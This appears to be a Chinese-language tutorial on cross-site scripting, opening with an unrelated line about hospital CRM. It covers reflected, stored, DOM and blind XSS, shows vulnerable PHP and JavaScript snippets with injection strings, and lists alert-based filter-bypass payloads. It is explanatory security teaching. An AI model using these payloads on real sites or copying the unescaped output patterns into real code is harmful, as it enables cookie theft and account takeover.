醫院CRM|創新開展醫院服務質量“三級隨訪”,構建和諧醫患關係
XSS注入
介紹:
XSS全稱為Cross Site Scripting,為了和CSS分開簡寫為XSS,中文名為跨站指令碼。該漏洞發生在使用者端,是指在渲染過程中發生了不在預期過程中的JavaScript程式碼執行。XSS通常被用於獲取Cookie、以受攻擊者的身份進行操作等行為。
反射型XSS:
反射型一般通過點選連結來觸發
舉個栗子:程式碼為<?php echo "<p>hello, $_GET['a']</p>";?>
注入方式為:/?a=</p><script>alert("xss")</script><p>
通過前面的</p>來閉合程式碼中的<p>,在html中插入JavaScript程式碼<script>alert("xss")</script>來達到彈出xss的視窗,後面的<p>來閉合後面的</p>
XSS分類:
儲存型XSS:
多儲存在評論區,留言處。儲存型XSS相對反射性XSS危害更大,攻擊者可以把攻擊載荷儲存在資料庫,造成持續攻擊。
DOM XSS:
DOM型XSS不同之處在於DOM型XSS一般和伺服器的解析響應沒有直接關係,而是在JavaScript指令碼動態執行的過程中產生的。
程式碼:
<html> <head> <title>DOM Based XSS Demo</title> <script> function xsstest() { var str = document.getElementById("input").value; document.getElementById("output").innerHTML = "<img src='"+str+"'></img>"; } </script> </head> <body> <div id="output"></div> <input type="text" id="input" size=50 value="" /> <input type="button" value="submit" onclick="xsstest()" /> </body> </html>
注入方式:x' onerror='javascript:alert(/xss/)
Blind XSS:
Blind XSS是儲存型XSS的一種,它儲存在某些儲存中,當一個“受害者”訪問這個頁面時執行,並且在文件物件模型(DOM)中呈現payload。 它被稱為Blind的原因是因為它通常發生在通常不暴露給使用者的功能上。
XSS注入的危害:
- 使用者的Cookie被獲取,其中可能存在Session ID等敏感資訊。若伺服器端沒有做相應防護,攻擊者可用對應Cookie登陸伺服器。
- 攻擊者能夠在一定限度內記錄使用者的鍵盤輸入。
- 攻擊者通過CSRF等方式以使用者身份執行危險操作。
- XSS蠕蟲。
- 獲取使用者瀏覽器資訊。
- 利用XSS漏洞掃描使用者內網。
XSS注入的一些繞過姿勢:
1、大小寫繞過 如:<sCrIpT>alert(1)</sCrIpT>
2、利用其他標籤進行注入 如:<audio src=x onerror=alert(47)>
<img src=document.domain onerror=alert(document.domain)>
<a href=javascript:alert(document.domain)>M</a>
3、編碼繞過 如:%3Cscript%3Ealert(%221%22)%3C/script%3E
4、拼接 如:<script>top["al"+"ert"](1)</script>
5、偽協議 如:<a href=javascript:/0/,alert(%22M%22)>M</a>